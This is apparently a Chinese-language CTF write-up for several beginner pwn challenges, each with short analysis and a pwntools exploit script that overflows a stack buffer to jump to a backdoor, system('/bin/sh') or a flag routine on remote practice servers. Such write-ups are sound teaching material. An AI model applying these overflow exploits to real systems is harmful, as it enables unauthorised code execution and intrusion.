[BJDCTF 2020]babystack2.0
checksec看一下文件,发现是64位的
查看main函数,有read涉及栈溢出,这里要打印一下name,整形数字要小于10,我们用到-1
发现有system和binsh
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28820')
#io = process('/home/xp/tm/bin/3')
io.recvuntil(b'name:')
io.sendline(str(-1))
padding = b'a'*(0x10+0x8)
door = 0x400726
payload = padding + p64(door)
io.sendline(payload)
io.interactive()
[BJDCTF 2020]babystack
与上题一样的exp
[HNCTF 2022 Week1]easync
这题也是没有给附件,直接nc
目录有点多,第一个flag在nothing
第二个flag在gift里面两个合起来就是flag
[NISACTF 2022]ezstack
这是个32位的
查看main函数,发现了shell双击进入
发现read典型的栈溢出,还发现了shell
发现了/bin/sh
data可以直接用
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','29795')
#io = process('/home/xp/tm/bin/4')
padding = b'a'*(0x48+0x4)
system = 0x8048512
binsh = 0x804A024
payload = padding + p32(system) + p32(binsh)
io.sendline(payload)
io.interactive()
[watevrCTF 2019]Voting Machine 1
这个是64位文件
这里看到了gets,发现是栈溢出,且我们要打印一个Vote:
发现了flag,我们直接引用这个地址
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','22388')
#io = process('/home/xp/tm/bin/5')
io.recvuntil(b'Vote:')
padding = b'a'*(0x2+0x8)
flag = 0x400807
payload = padding + p64(flag)
io.sendline(payload)
io.interactive()